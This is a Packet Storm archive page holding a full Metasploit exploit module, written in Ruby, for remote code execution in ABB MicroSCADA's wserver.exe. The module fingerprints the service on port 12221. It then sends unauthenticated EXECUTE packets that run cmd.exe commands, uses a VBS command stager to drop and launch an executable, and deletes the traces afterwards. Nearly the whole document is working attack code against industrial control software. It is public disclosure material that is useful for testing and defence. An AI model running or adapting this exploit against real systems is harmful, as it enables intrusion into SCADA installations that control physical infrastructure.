what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ABB MicroSCADA wserver.exe Remote Code Execution

ABB MicroSCADA wserver.exe Remote Code Execution
Posted Nov 30, 2013
Authored by juan vazquez, Brian Gorenc | Site metasploit.com

This Metasploit module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe component, which allows arbitrary commands. The component is disabled by default, but required when a project uses the SCIL function WORKSTATION_CALL. This Metasploit module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over Windows XP SP3 and Windows 7 SP1.

tags | exploit, remote, overflow, arbitrary
systems | windows
SHA-256 | 0bdf9a94501d5619a20ed028d746c3734042d2dd9d819b70fa7fbb4ef414fa5d

ABB MicroSCADA wserver.exe Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerVBS

def initialize(info = {})
super(update_info(info,
'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
'Description' => %q{
This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
component, which allows arbitrary commands. The component is disabled by default, but
required when a project uses the SCIL function WORKSTATION_CALL.

This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Original discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '100324'],
[ 'ZDI', '13-270' ],
[ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Targets' =>
[
[ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 05 2013'
))

register_options([Opt::RPORT(12221)], self.class)
end

def check

# Send an EXECUTE packet without command, a valid response
# should include an error code, which is good enough to
# fingerprint.
op = "EXECUTE\x00"
pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
pkt = pkt_length
pkt << op

connect
sock.put(pkt)
res = sock.get_once
disconnect

if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe

end

def exploit
# More then 750 will trigger overflow...
# Cleaning is done by the exploit on execute_cmdstager_end
execute_cmdstager({:linemax => 750, :nodelete => true})
end

def execute_cmdstager_end(opts)
@var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
@var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
@var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
@var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
end

def execute_command(cmd, opts)
op = "EXECUTE\x00"
command = "cmd.exe /c #{cmd}"
pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length

pkt = pkt_length
pkt << op
pkt << command

connect
sock.put(pkt)
res = sock.get_once
disconnect

unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close